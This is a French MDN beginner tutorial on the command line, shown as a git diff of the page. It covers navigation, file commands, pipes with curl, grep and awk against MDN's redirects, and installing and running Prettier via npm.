Autre astuce intéressante : si vous n'êtes pas à l'aise avec l'idée d'essayer des lignes de commande sur votre propre machine, le site Glitch.com est un bon endroit pour le faire en toute sécurité. En plus d'être un lieu génial pour tester du code de développement web, les projets vous donnent accès à un terminal qui vous permet de lancer toutes les commandes que vous voulez, sans risquer d'endommager votre propre machine.

+ +

a double screenshot showing the glitch.com home page, and the glitch terminal emulator

+ +

Le site tldr.sh est une formidable ressource pour obtenir un aperçu de commandes particulières. C'est un service de documentation géré de façon communautaire, similaire à MDN, mais dédié aux commandes de terminal.

+ +

Dans la section suivante, nous allons monter d'un cran (et même de plusieurs), et voir comment nous pouvons combiner plusieurs outils en ligne de commande pour révéler toute la puissance du terminal par rapport à l'interface graphique habituelle.

+ +

Combiner des commandes grâce aux "pipes"

+ +

L'usage du terminal prend toute sa valeur lorsque vous commencez à chaîner les commandes en utilisant le symbole | ("pipe" ou "tuyau" en français). Voyons comment on peut faire cela sur un exemple très rapide.

+ +

Nous avons déjà vu ls, qui liste le contenu du répertoire courant :

+ +
ls
+ +

Mais comment nous y prendre si nous voulons compter le nombre de fichiers et de répertoires à l'intérieur du répertoire courant ? ls n'est pas capable de faire cela à lui seul.

+ +

Il existe un autre outil Unix nommé wc. Celui-ci compte les mots, lignes, caractères, ou octets de la donnée qu'on lui passe, quelle qu'elle soit. Il peut s'agir d'un fichier texte — l'exemple ci-dessous donne le nombre de lignes de monfichier.txt :

+ +
wc -l monfichier.txt
+ +

Mais wc est également capable de compter les lignes de tout ce qui lui est passé par un pipe. Par exemple, la commande ci-dessous compte les lignes renvoyées par la commande ls  (lignes qui seraient normalement affichées sur le terminal) et affiche ce décompte à la place :

+ +
ls | wc -l
+ +

Comme ls affiche chaque fichier ou répertoire sur une nouvelle ligne, on obtient bien le compte des répertoires et des fichiers.

+ +

Comment ça marche ? Le comportement général des outils de ligne de commande (unix) consiste à afficher du texte dans le terminal (ce qu'on appelle aussi "imprimer sur la sortie standard (standard input)" ou  STDOUT). Un bon nombre de commandes peuvent aussi lire du contenu à partir d'un flux d'entrée (appelé "entrée standard (standard input)" ou STDIN).

+ +

L'opérateur pipe peut connecter ces entrées et sorties, ce qui nous permet de construire des opérations de plus en plus complexes selon nos besoins — la sortie d'une commande devient l'entrée de la commande suivante. Dans le cas présent, ls enverrait normalement sa sortie sur STDOUT, mais au lieu de cela la sortie de ls est passée par un pipe à wc, qui la prend en entrée, compte ses lignes et imprime ce décompte sur STDOUT.

+ +

Un exemple un peu plus complexe

+ +

Occupons-nous maintenant de quelque chose d'un peu plus compliqué. Nous allons d'abord essayer de récupérer le contenu de la page MDN "fetch" en utilisant la commande curl  (dont on peut se servir pour faire une requête de contenu à partir d'URLs), sur https://developer.mozilla.org/en-US/docs/Web/API/fetch.

+ +

En fait, cette URL est celle de l'ancien emplacement de la page. Lorsque vous l'entrez dans un nouvel onglet de votre navigateur, vous êtes (finalement) redirigé sur https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch.

+ +

Par conséquent, si vous utilisez curl pour faire une requête à https://developer.mozilla.org/docs/Web/API/fetch, vous n'aurez pas de résultat. Essayez :

+ +
curl https://developer.mozilla.org/en-US/docs/Web/API/fetch
+ +

Nous devons dire explicitement à curl de suivre les redirections en utilisant l'option -L.

+ +

Examinons également les en-têtes retournées par developer.mozilla.org en utilisant l'option -I de curl, et affichons toutes les redirections en passant la sortie de curl à grep grâce à un pipe (on va demander à grep de renvoyer toutes les lignes qui contiennent le mot "location").

+ +

Essayez maintenant la ligne suivante, et vous allez constater qu'il y a en fait trois redirections avant d'atteindre la page finale :

+ +
curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location
+ +

Votre sortie devrait ressembler à ceci (curl va d'abord afficher des compteurs et autres informations de téléchargement) :

+ +
location: /en-US/docs/Web/API/fetch
+location: /en-US/docs/Web/API/GlobalFetch/GlobalFetch.fetch()
+location: /en-US/docs/Web/API/GlobalFetch/fetch
+location: /en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch
+ +

Bien que ce résultat soit artificiel, nous pourrions le pousser un peu plus loin et remplacer location: par le nom de domaine, de façon à avoir des URLs complètes. Pour cela, nous allons ajouter awk à notre formule (il s'agit d'un langage de programmation tout comme JavaScript, Ruby ou Python, mais beaucoup plus ancien !).

+ +

Essayez de lancer cette commande :

+ +
curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location | awk '{ print "https://developer.mozilla.org" $2 }'
+ +

Votre sortie finale devrait ressembler à ceci :

+ +
https://developer.mozilla.org/en-US/docs/Web/API/fetch
+https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/GlobalFetch.fetch()
+https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/fetch
+https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch
+ +

En combinant ces commandes nous avons personnalisé la sortie pour qu'elle montre les URLs complètes vers lesquels le serveur de Mozilla effectue les redirections lorsque nous lui soumettons la requête pour l'URL /docs/Web/API/fetch.
+ Développer votre connaissance du système en apprenant le fonctionnement de ces simples outils et comment les intégrer à votre arsenal pour résoudre des problèmes bien particuliers - cela vous sera d'une grande utilité tout au long des années à venir.

+ +

Ajoutez des super-pouvoirs !

+ +

À présent que nous avons jeté un œil à quelques-unes des commandes intégrées dont votre système est pré-équipé, voyons comment installer un outil tiers de CLI et nous en servir.

+ +

La plus grande partie du vaste écosystème d'outils installables pour le développement web front-end se trouve sous npm, un service privé d'hébergement de packages qui fonctionne en étroite interaction avec Node.js. Celui-ci se développe peu à peu — vous pouvez vous attendre à davantage de fournisseurs de packages avec le temps.

+ +

L'installation de Node.js installe en même temps l'outil de ligne de commande npm (ainsi que npx, un outil supplémentaire centré sur npm), qui est la porte d'entrée pour l'installation d'outils de ligne de commande additionnels. Node.js et npm fonctionnent de la même façon sur tous les systèmes : macOS, Windows, ainsi que Linux.

+ +

Allons-y : installez npm sur votre système à partir de l'URL ci-dessus qui va vous permettre de télécharger et de lancer un installeur Node.js approprié à votre système d'exploitation. Si cela vous est proposé, assurez-vous d'inclure npm dans l'installation.

+ +

the node.js installer on windows, showing the option to include npm

+ +

Un certain nombre d'outils variés vous attendent dans le prochaine article ; pour l'instant nous allons nous faire la main sur Prettier. Prettier est un outil de formatage de code normatif qui se présente comme ayant "peu d'options". Moins d'options, cela évoque plus de simplicité. Vu comme on peut parfois être débordé par la complexité de certains outils, le concept  "peu d'options" peut se révéler très attractif.

+ +

Où installer nos outils de CLI ?

+ +

Avant de nous lancer dans l'installation de Prettier, une question se pose — "où allons-nous l'installer ?"

+ +

npm nous donne le choix entre une installation globale — ce qui nous permet d'y avoir accès de n'importe où — ou bien locale, dans le dossier du projet en cours.

+ +

Il y a des pour et des contre pour les deux options — la liste ci-dessous est loin d'être exhaustive:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Pour l'installation globaleContre l'installation globale
Accessible partout dans votre terminalPeut ne pas être compatible avec votre codebase.
Installation en une foisLes autres développeurs de votre équipe n'auront pas accès à ces outils, par exemple si vous partagez votre codebase sur un outil comme git.
Moins d'espace disqueEn lien avec le point précédent, rend le code du projet plus difficile à répliquer (si vous installez vos outils en local, ils peuvent être configurés comme des dépendances et installés avec npm install).
Stabilité de la version
Donne l'impression d'être une commande unix comme les autres
+ +

Bien que la liste des contre soit plus courte, l'impact négatif d'une installation globale est potentiellement beaucoup plus lourd que les bénéfices. Cela dit, pour l'instant, nous allons choisir l'installation globale dans un but de simplicité. Nous examinerons davantage les installations locales et leur intérêt dans notre prochain article.

+ +

Installation de Prettier

+ +

Dans cette partie nous allons installer Prettier en tant qu'utilitaire global de ligne de commande.

+ +

Prettier est un outil de formatage de code normatif pour les développeurs front-end, centré sur le langage JavaScript et ses dérivés, avec un support pour HTML, CSS, SCSS, JSON et plus.

+ +

Prettier offre les avantages suivants :

+ +
    +
  • Il épargne la surcharge cognitive que représente le maintien manuel d'une cohérence de style au travers de l'ensemble de vos fichiers de code, en le faisant automatiquement à votre place.
    • +
  • Il aide les débutants en développement web à formater leur code selon les bonnes pratiques.
    • +
  • Il peut s'installer sur tout système d'exploitation et même comme partie intégrante des outils du projet, de sorte que les collègues et amis qui travaillent sur votre code utilisent le même style que vous.
    • +
  • On le peut le configurer pour qu'il s'exécute à la sauvegarde, en cours de frappe, ou encore au moment de publier votre code (grâce à des outils supplémentaires que nous verrons plus loin dans ce module).
    • +
+ +

Après avoir installé node, ouvrez votre terminal et lancez les commandes suivantes pour installer Prettier :

+ +
npm install --global prettier
+ +

Lorsque la commande a terminé son exécution, l'outil Prettier est disponible sur sur votre terminal, partout dans votre système de fichiers.

+ +

En lançant la commande sans argument, comme pour beaucoup d'autres commandes, vous obtiendrez les informations d'utilisation et d'aide. Essayez :

+ +
prettier
+ +

La sortie devrait ressembler à ceci :

+ +
Usage: prettier [options] [file/glob ...]
+
+By default, output is written to stdout.
+Stdin is read if it is piped to Prettier and no files are given.
+
+…
+ +

Cela vaut toujours la peine d'au moins survoler les informations sur l'utilisation, même lorsqu'elles sont longues. Vous pourrez ainsi mieux comprendre à quoi l'outil est censé servir.

+ +

Un peu de pratique

+ +

Jouons un peu avec Prettier pour que vous puissiez voir comment il fonctionne.

+ +

Tout d'abord, créez un nouveau répertoire à un endroit que vous pourrez retrouver facilement, par exemple un répertoire nommé prettier-test sur votre Bureau.

+ +

Ensuite collez le code suivant dans un fichier que vous enregistrez dans ce répertoire sous le nom index.js.

+ +
const myObj = {
+a:1,b:{c:2}}
+function printMe(obj){console.log(obj.b.c)}
+printMe(myObj)
+ +

Nous pouvons exécuter prettier sur un code source simplement pour vérifier s'il nécessite une correction. Passez dans votre répertoire avec cd et essayez de lancer cette commande :

+ +
prettier --check index.js
+ +

Vous devriez obtenir quelque chose comme

+ +
Checking formatting...
+index.js
+Code style issues found in the above file(s). Forgot to run Prettier?
+
+ +

Le style nécessite donc des corrections. Pas de problème. On va les appliquer en ajoutant l'option --write à la commande prettier, ce qui nous laisse nous concentrer sur l'aspect utile de l'écriture du code.

+ +

Essayez maintenant de lancer cette version de la commande :

+ +
prettier --write index.js
+ +

La sortie ressemble maintenant à ceci

+ +
Checking formatting...
+index.js
+Code style issues fixed in the above file(s).
+ +

Mais le plus important, c'est que votre fichier JavaScript a été reformaté :

+ +
const myObj = {
+  a: 1,
+  b: { c: 2 },
+};
+function printMe(obj) {
+  console.log(obj.b.c);
+}
+printMe(myObj);
+ +

Vous pouvez intégrer cette opération automatisée à votre workflow. L'intérêt des outils réside justement dans l'automatisation ; personnellement, notre préférence va  au type d'automatisme qui se produit de façon transparente, sans qu'aucune configuration soit nécessaire.

+ +

Il existe de nombreuses façons de mettre en oeuvre des automatismes avec Prettier, et bien qu'elles dépassent le cadre de cet article, vous trouverez de l'aide dans d'excellentes ressources en ligne, dont certaines grâce aux liens ci-après. Vous pouvez lancer prettier :

+ +
    +
  • Avant de faire un commit sur un dépôt git en utilisant Husky.
    • +
  • Chaque fois que vous cliquez sur "sauvegarder" dans votre éditeur de code, qu'il s'agisse de VS Code, d'Atom, ou de Sublime Text.
    • +
  • En tant qu'élément des contrôles continus d'intégration grâce à des outils tels que Github Actions.
    • +
+ +

Nous préférons personnellement la deuxième solution — quand on code par exemple sur VS Code, Prettier entre en jeu et nettoie le formatage lors de chaque  enregistrement. Vous trouverez dans les Prettier docs beaucoup plus d'informations sur les différentes façons d'utiliser Prettier.

+ +

Autres outils à essayer

+ +

Voici une courte liste de quelques outils supplémentaires que vous pouvez vous amuser à tester :

+ +
    +
  • bat — Un cat  plus "beau" (cat affiche le contenu d'un fichier) (NdT : probable jeu de mot en anglais, où cat = chat et bat = chauve-souris).
    • +
  • prettyping — implémentation visuellement améliorée de la commande ping (ping permet de tester si un serveur répond).
    • +
  • htop — Pour visualiser les processus en cours, ce qui est intéressant lorsque votre ventilateur de CPU se met à faire un bruit de moteur d'avion et que vous souhaitez identifier le programme responsable.
    • +
  • tldr — client tldr (mentionné plus haut dans ce chapitre) en ligne de commande.
    • +
+ +

L'auteur a aussi décrit certains de ses favoris accompagnés de copies d'écrans si vous avez envie de creuser davantage le sujet.

+ +

Notez que certains de ces outils nécessitent l'installation préalable de npm, ainsi que nous l'avons fait pour Prettier.

+ +

Résumé

+ +

Nous voilà parvenus au terme de cette brève revue du terminal ou ligne de commande. Dans la suite, nous allons nous pencher plus en détail sur les package managers, et sur les possibilités qu'ils nous offrent.

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/tools_and_testing/understanding_client-side_tools/ligne_de_commande/index.html b/files/fr/learn/tools_and_testing/understanding_client-side_tools/ligne_de_commande/index.html deleted file mode 100644 index 74d503b7d4..0000000000 --- a/files/fr/learn/tools_and_testing/understanding_client-side_tools/ligne_de_commande/index.html +++ /dev/null @@ -1,487 +0,0 @@ ---- -title: Cours express sur la ligne de commande -slug: Learn/Tools_and_testing/Understanding_client-side_tools/Ligne_de_commande -tags: - - CLI - - Côté client - - Débutant - - Outils - - Terminal - - ligne de commande - - npm -translation_of: Learn/Tools_and_testing/Understanding_client-side_tools/Command_line ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}
- -

Au cours de tout process de développement, vous allez très certainement être confronté à la nécessité d'exécuter des commandes dans un terminal (ce que l'on appelle "travailler en ligne de commande"). Cet article vous propose une introduction au terminal et vous dévoile les commandes essentielles dont vous aurez besoin, la façon de les chaîner, et comment ajouter vos propres outils d'interface en ligne de commande (CLI, command line interface).

- - - - - - - - - - - - -
Prérequis : -

Être familiarisé avec les bases des langages

- HTML, CSS, et JavaScript.
Objectif : -

Comprendre ce qu'est la ligne de commande, savoir quelles sont les commandes de base que vous devriez connaître, et comment installer de nouveaux outils de ligne de commande.

-
- -

Bienvenue sur le terminal

- -

Le terminal est une interface de texte pour l'exécution de programmes qui utilisent un langage lui-même textuel . Quel que soit le type d'outils que vous allez utiliser pour le développement web, il y a de grandes chances que vous soyez amené à travailler en ligne de commande pour les utiliser (vous rencontrerez aussi l'appellation "console" ou encore "CLI tools" pour désigner de tels outils d'interface en ligne de commande).

- -

Il existe de nombreux outils pour travailler en ligne de commande ; certains sont pré-installés sur votre système, et une infinité d'autres sont disponibles sur des dépôts de "paquets" (packages). Ces dépôts sont un peu comme des magasins spécialisés (pour la plupart) dans les outils de ligne de commande et les logiciels. Nous allons voir un peu plus loin dans ce chapitre comment installer certains de ces outils, et nous en apprendrons plus sur les dépôts de paquets dans le prochain chapitre.

- -

L'une des critiques les plus fréquentes envers la ligne de commande, c'est que l'utilisateur courant n'en a pratiquement aucune expérience. Se retrouver devant un terminal pour la première fois peut être vraiment intimidant : un écran vide, un curseur qui clignote, et rien ou presque pour vous aider à en tirer quelque chose.

- -

Malgré cette apparence rebutante, le terminal est pourtant un outil puissant, et nous pouvons vous promettre qu'avec une petite formation et un peu de pratique, son utilisation vous deviendra bien plus facile ! C'est la raison pour laquelle nous vous proposons ce chapitre - pour vous aider à démarrer dans cet environnement apparemment inhospitalier.

- -

.

- -

Quelle est l'origine du terminal ?

- -

Elle se situe dans les années 50-60, et son aspect d'alors ne ressemble pas du tout à ce que nous connaissons aujourd'hui (heureusement). Vous pouvez en apprendre davantage sur la page de Wikipédia Terminal (informatique).

- -

Depuis, le terminal est resté un élément constant de tout système d'exploitation - des ordinateurs de bureau aux serveurs du cloud (qui n'est pas vraiment un nuage) en passant par les micro-cartes comme la Raspberry PI Zero et même les téléphones mobiles. Il offre un accès direct au système de fichiers de l'ordinateur et à des fonctionnalités de bas niveau, ce qui le rend incroyablement apte à accomplir rapidement des tâches complexes, à condition de savoir ce que vous faites.

- -

Il est également utile pour automatiser certaines tâches, comme par exemple modifier les titres de centaines de fichiers instantanément - par exemple changer tous les "ch01-xxxx.png" en "ch02-xxxx.png", ce qui vous prendrait un temps considérable si vous deviez le faire à la main dans la fenêtre d'un gestionnaire de fichiers.

- -

En tous cas, le terminal ne va pas disparaître de si tôt.

- -

À quoi ressemble un terminal ?

- -

Vous pouvez voir ci-dessous les apparences de quelques terminaux émulés par des programmes courants.

- -

Les images suivantes montrent les invites de commande disponibles sous Windows – il y a une panoplie d’options, du programme « cmd » au « powershell » - qui peuvent être lancées depuis le menu de démarrage en tapant le nom du programme.

- -

A vanilla windows cmd line window, and a windows powershell window

- -

Et ci-dessous, vous pouvez voir l’application de terminal pour macOS.

- -

A basic vanilla mac terminal

- -

Comment ouvrir un terminal ?

- -

Beaucoup de développeurs se servent aujourd'hui de terminaux de type Unix (c'est-à-dire le terminal en lui-même plus les outils auxquels il donne accès). Beaucoup de tutoriels sur le web sont basés sur ces terminaux Unix qu'ils considèrent (malheureusement) comme universels, mais nous allons voir dans cette section comment ouvrir un terminal sur le système de votre choix.

- -

Linux/Unix

- -

Comme indiqué plus haut, les systèmes Linux/Unix disposent d'un terminal par défaut, présent dans vos Applications.

- -

macOS

- -

macOS a un système nommé Darwin qui réside sous l'interface graphique. Darwin est un système de type Unix, qui fournit le terminal, et l'accès aux outils de bas niveau. Darwin est dans l'ensemble assez proche d'Unix pour ne pas nous causer trop de problèmes lors de notre progression dans cet article.

- -

Ce terminal est disponible sur macOS dans Applications/Utilitaires/Terminal.

- -

Windows

- -

Comme pour d'autres outils de programmation, c’est un peu une tradition pour Windows de ne pas faciliter l’utilisation du terminal (ou ligne de commande) par rapport à d’autres systèmes d’exploitation. Mais les choses s’améliorent.

- -

Traditionnellement aussi, Windows a depuis longtemps eu son propre programme de type « terminal », appelé « cmd » (« l’invite de commande »), mais celui-ci n’est en rien comparable aux commandes Unix, et il est en fait équivalent au programme DOS des temps héroïques.

- -

On trouve malgré tout de meilleurs programmes qui offrent une expérience de terminal sur Windows, tels que Powershell (voir ici pour l’installer), et Gitbash (qui fait partie de la trousse à outils git for Windows).

- -

Quoi qu’il en soit, aujourd’hui, la meilleure option est le « Windows Subsystem for Linux » (WSL) – une couche de compatibilité qui permet de lancer des systèmes d’exploitation Linux directement dans Windows 10, ce qui vous permet d’avoir un « vrai terminal », sans recourir à une machine virtuelle.

- -

Vous pouvez l’installer gratuitement directement à partir du Windows store. Toute la documentation utile est disponible dans la Windows Subsystem for Linux Documentation .

- -

a screenshot of the windows subsystem for linux documentation

- -

Si vous vous demandez quelle option choisir sur Windows, nous vous recommandons vivement de vous décider pour le WSL. Vous pourriez certes vous en tenir à l’invite de commande par défaut (« cmd »), et faire tourner pas mal d’outils correctement, mais tout sera bien plus facile si vous avez une meilleure équivalence avec les outils Unix.

- -

En passant, quelle est la différence entre ligne de commande et terminal ?

- -

En général, vous rencontrerez ces deux termes utilisés de façon interchangeable. Techniquement, un terminal (ou console) est un logiciel qui se connecte à un shell au démarrage. Un shell correspond à votre session et à votre environnement de session (où des choses comme l’invite de commande et les raccourcis peuvent être personnalisés). La ligne de commande quant à elle (ou prompt) est la ligne de texte où vous entrez des commandes et où le curseur clignote.

- -

Est-ce qu'il faut se servir du terminal?

- -

Bien que les outils disponibles à partir de la ligne de commande soient très riches, si vous utilisez des outils tels que Visual Studio Code vous allez avoir accès à une quantité d’extensions que vous pourrez utiliser pour vous aider dans l’édition et vous allez pouvoir vous passer presque complètement du terminal lui-même. Cependant, vous ne pourrez pas trouver une extension sur votre éditeur de code pour tout ce que vous voudrez faire – en définitive, vous devrez malgré tout vous confronter au terminal.

- -

Les commandes intégrées de base

- -

Assez parlé — voyons maintenant quelques commandes utilisables dans un terminal ! Voici, clés en main, un petit aperçu de tout ce que l'on peut faire en ligne de commande, avec la référence des outils pertinents dans chaque cas :

- -
    -
  • Naviguer dans le système de fichiers de votre ordinateur en accomplissant des tâches basiques telles que créer, copier, renommer et effacer : -
      -
    • Se déplacer dans l'arborescence des répertoires : cd
      • -
    • Créer des répertoires : mkdir
      • -
    • Créer des fichiers (et modifier leurs métadonnées): touch
      • -
    • Copier des fichiers : cp
      • -
    • Déplacer des fichiers : mv
      • -
    • Supprimer des fichiers ou des répertoires : rm
      • -
    -
    • -
  • Télécharger des fichiers à partir d'URL spécifiques : curl
    • -
  • Rechercher des fragments de texte dans des parties de texte de taille importante : grep
    • -
  • Afficher le contenu d'un fichier page par page: less, cat
    • -
  • Manipuler et transformer des flux de texte (par exemple remplacer toutes les occurrences de <div> dans un fichier HTML par <article>): awk, tr, sed
    • -
- -
-

Note : On trouve  sur le web un bon nombre de tutoriels de qualité qui permettent d'aller beaucoup plus loin avec la ligne de commande — ceci n'est qu'une brève introduction ! L'auteur de ces lignes lui-même a sa propre série de vidéos de formation au terminal (80% de réduction en utilisant le code mdn au moment du paiement — 19$).

-
- -

Pour aller plus loin, voyons maintenant comment utiliser quelques-uns de ces outils en ligne de commande. Commencez par ouvrir votre programme de terminal (ou console) !

- - - -

Lorsque vous vous mettez sur la ligne de commande, vous allez inévitablement devoir naviguer vers un répertoire spécifique pour y "faire quelque chose". Tous les systèmes d'exploitation (du moins avec un paramétrage par défaut) démarrent leur terminal dans votre répertoire d'utilisateur, et il y a des chances pour que vous souhaitiez vous rendre de là à un autre emplacement.

- -

La commande cd vous permet de changer de répertoire (Change Directory). Techniquement, cd n'est pas un programme mais une commande intégrée. Cela signifie que votre système d'exploitation la fournit de façon native, et aussi que vous ne pouvez pas l'effacer accidentellement - bonne nouvelle ! Cela dit, vous n'avez pas besoin de vous soucier de savoir si une commande est intégrée ou non, mais vous pouvez garder à l'esprit que les commandes intégrées sont présentes sur les systèmes basés sur Unix.

- -

Pour changer de répertoire, vous tapez cd dans votre terminal, suivi par le répertoire dans lequel vous voulez vous rendre. En supposant que le répertoire (ou dossier) Desktop se trouve dans votre répertoire utilisateur, vous allez donc taper cd Desktop (voir les copies d'écran ci-dessous).

- -

results of the cd Desktop command being run in a variety of windows terminals - the terminal location moves into the desktop

- -

Sur un système en langue française, vous trouverez plus fréquemment "Bureau" plutôt que "Desktop". Essayez de taper ceci dans votre terminal système (sur un système en langue anglaise, bien sûr conservez "Desktop") :

- -
cd Bureau
- -

Si vous voulez revenir au répertoire précédent, utilisez les deux points :

- -
cd ..
- -
-

Note: Raccourci vraiment utile sur un terminal, la touche tab émule la saisie automatique des mots dont vous connaissez l'existence, ce qui vous évite de les taper en entier. Par exemple, après avoir tapé les deux commandes ci-dessus, essayez de taper cd B puis de presser la touche tab — cela devrait saisir automatiquement le nom de répertoire Bureau, à condition qu'il soit présent dans le répertoire courant. Gardez ceci à l'esprit tout en poursuivant.

-
- -

Si le répertoire que vous visez est placé assez loin dans l'arborisation des fichiers, il vous faut connaître le chemin (on dit souvent path, qui est le terme anglais) pour vous y rendre. Cela devient en général plus facile à mesure que vous vous familiarisez avec la structure de votre système de fichiers, mais si vous n'êtes pas sûr vous pouvez le retrouver en combinant la commande ls avec des clicks dans votre Explorer ou autre gestionnaire graphique de fichiers, ce qui va vous permettre de voir où se trouve le répertoire (ou dossier) cherché par rapport à votre répertoire actuel (= répertoire courant).

- -

Par exemple, si vous vouliez aller dans un dossier nommé src, qui se trouve dans un dossier nommé projet, qui est lui-même sur le Bureau, vous pourriez taper ces trois commandes pour y arriver à partir de votre dossier utilisateur :

- -
cd Bureau
-cd projet
-cd src
- -

Mais c'est une perte de temps — à la place, vous pouvez taper une seule commande, avec les différents éléments du chemin séparés par des slashes, exactement de la même manière que lorsque vous spécifiez les chemins d'accès à des images ou autres assets en CSS, HTML, ou JavaScript :

- -
cd Bureau/projet/src
- -

Notez que si vous commencez le chemin par un slash, vous le rendez absolu, par exemple /Utilisateurs/votre-nom/Bureau. Omettre le premier slash comme nous l'avons fait ci-dessus construit un chemin relatif à votre répertoire de travail actuel. C'est exactement la même chose qu'une URL dans un navigateur. Un slash au début signifie "à la racine du site web", alors qu'omettre le slash signifie "l'URL est relative à ma page courante".

- -
-

Note: Sur windows vous devez utiliser des backslashes et non des slashes, p. ex. cd Bureau\projet\src — cela peut vous paraître vraiment étrange, mais si la question vous intéresse, regardez cette vidéo YouTube (en anglais) qui présente une explication par l'un des ingénieurs principaux de Microsoft.

-
- -

Lister le contenu d'un répertoire

- -

ls (de l'anglais list) est la commande intégrée Unix qui va vous permettre de lister le contenu du répertoire dans lequel vous vous trouvez. Notez que cela ne fonctionnera pas avec l'invite de commande par défaut de Windows (cmd) — la commande équivalente est dir.

- -

Essayez de taper ceci dans votre terminal :

- -
ls
- -

Vous obtenez la liste des fichiers et répertoires de votre répertoire de travail courant, mais l'information est vraiment basique - vous n'avez que les noms des items, sans savoir s'il s'agit d'un fichier, d'un répertoire, ou d'autre chose. Heureusement, une petite modification dans l'utilisation de la commande va vous donner beaucoup plus d'informations.

- -

Présentation des options de commandes

- -

La plupart des commandes de terminal possèdent des options - ce sont des modificateurs que vous ajoutez à la fin d'une commande pour obtenir un comportement légèrement différent. Il s'agit en général d'un espace suivi d'un tiret puis d'une ou de plusieurs lettres.

- -

Voyez par exemple ce que vous obtenez en essayant ceci :

- -
ls -l
- -

Avec ls, l'option -l (tiret l, "dash ell" en anglais) vous donne une liste avec un fichier ou répertoire par ligne et pas mal d'autres informations. Les répertoires ("directories") sont repérés pas la lettre "d" au tout début de la ligne. Nous pouvons y entrer avec la commande cd.

- -

Voici ci-dessous une copie d'écran avec un terminal macOS “vanilla” en haut, et en bas un terminal personnalisé avec quelques icônes supplémentaires et des couleurs pour le rendre plus vivant — les deux affichent le résultat de la commande ls -l :

- -

A vanilla mac terminal and a more colorful custom mac terminal, showing a file listing - the result of running the ls -l command

- -
-

Note: Pour savoir exactement quelles sont les options d'une commande, vous pouvez consulter sa page de manuel (man page en anglais). Pour cela, tapez la commande man suivie du nom de la commande que vous cherchez, par exemple man ls. La page de manuel va s'ouvrir dans le lecteur de texte par défaut de votre terminal (par exemple, less sur mon terminal), et vous allez pouvoir faire défiler la page avec les touches de flèches ou un mécanisme similaire. La page de manuel liste toutes les options de façon très détaillée, ce qui peut être un peu intimidant au début, mais au moins vous savez où les trouver si vous en avez besoin. Lorsque vous avez terminé avec la page de manuel, vous la refermez avec la commande "quitter" de votre visionneur de texte (pour less c'est "q" ; si ce n'est pas évident cherchez sur Internet).

-
- -
-

Note: Pour lancer une commande avec des options multiples, on peut en général les regrouper dans une seule chaîne de caractères après le tiret, par exemple ls -lah, ou ls -ltrh. Exercez-vous à consulter la page man de ls pour savoir ce que vous donnent ces options !

-
- -

Maintenant que vous connaissez ces deux commandes fondamentales, allez un peu fouiller dans votre système de fichiers en naviguant à partir de votre répertoire.

- -

Créer, copier, déplacer, supprimer

- -

Il y existe un certain nombre d'autres commandes d'utilité basique dont vous allez probablement pas mal vous servir en travaillant sur un terminal. Elles sont assez simples, aussi nous n'allons pas les expliquer avec autant de détails que les deux précédentes.

- -

Jouez avec elles dans un répertoire que vous aurez créé quelque part de façon à ne pas effacer accidentellement quoi que ce soit d'important, en vous servant des exemples donnés pour vous guider :

- -
    -
  • mkdir — crée un nouveau répertoire à l'intérieur du répertoire courant. Par exemple, mkdir mon-super-site va créer un nouveau répertoire nommé mon-super-site.
    • -
  • rmdir — efface le répertoire dont le nom est passé, mais seulement s'il est vide. Par exemple  rmdir mon-super-site va supprimer le répertoire que nous avons créé ci-dessus. Si vous voulez supprimer un répertoire qui n'est pas vide (ainsi que tout ce qu'il contient), vous pouvez utiliser l'option -r (recursive), mais cela est dangereux. Assurez-vous de n'avoir pas besoin plus tard de quelque chose qui se trouverait dans le répertoire, car il aura définitivement disparu.
    • -
  • touch — crée un nouveau fichier vide dans le répertoire courant. Par exemple, touch mdn-exemple.md crée un fichier vide nommé mdn-exemple.md.
    • -
  • mv — déplace un fichier à partir de l'emplacement spécifié en premier vers celui spécifié en second, par exemple mv mdn-exemple.md mdn-exemple.txt (les emplacements sont écrits sous la forme de chemins - file paths). Cette commande déplace un fichier nommé mdn-exemple.md situé dans le répertoire courant vers une fichier nommé mdn-exemple.txt dans le répertoire courant. Techniquement, le fichier est déplacé, mais d'un point de vue pratique, cette commande renomme en fait le fichier.
    • -
  • cp — d'un usage similaire à mv, cp copie le fichier à l'emplacement spécifié en premier vers celui spécifié en second. Par exemple, cp mdn-exemple.txt mdn-exemple.txt.bak crée une copie de mdn-exemple.txt nommée mdn-exemple.txt.bak (bien entendu vous pouvez la nommer comme vous voulez).
    • -
  • rm — supprimer le fichier spécifié. Par exemple, rm mdn-exemple.txt efface un fichier unique nommé mdn-exemple.txt. Notez que cet effacement est permanent et ne peut pas être annulé comme lorsque vous placez un fichier dans la corbeille de votre Bureau dans votre interface utilisateur.
    • -
- -
-

Note : Beaucoup de commandes de terminal autorisent l'emploi d'astérisques comme caractère "joker", dont le sens est "une séquence de caractères quelconque". Cela vous permet d'exécuter une commande en une seule fois sur un nombre potentiellement important de fichiers qui correspondent au modèle donné. À titre d'exemple, rm mdn-* va effacer tous les fichiers qui commencent par mdn-. rm mdn-*.bak va effacer tous les fichiers qui commencent par mdn- et finissent par .bak.

-
- -

Le terminal — une pratique à risque ?

- -

Nous y avons déjà fait allusion, et soyons clairs - travailler sur terminal demande de la prudence. Des commandes simples ne présentent pas trop de risques, mais dès que vous commencez à combiner des commandes plus complexes, il vous faut réfléchir soigneusement à ce qu'elle va exécuter, et essayer de la tester avant de la lancer effectivement dans le répertoire voulu.

- -

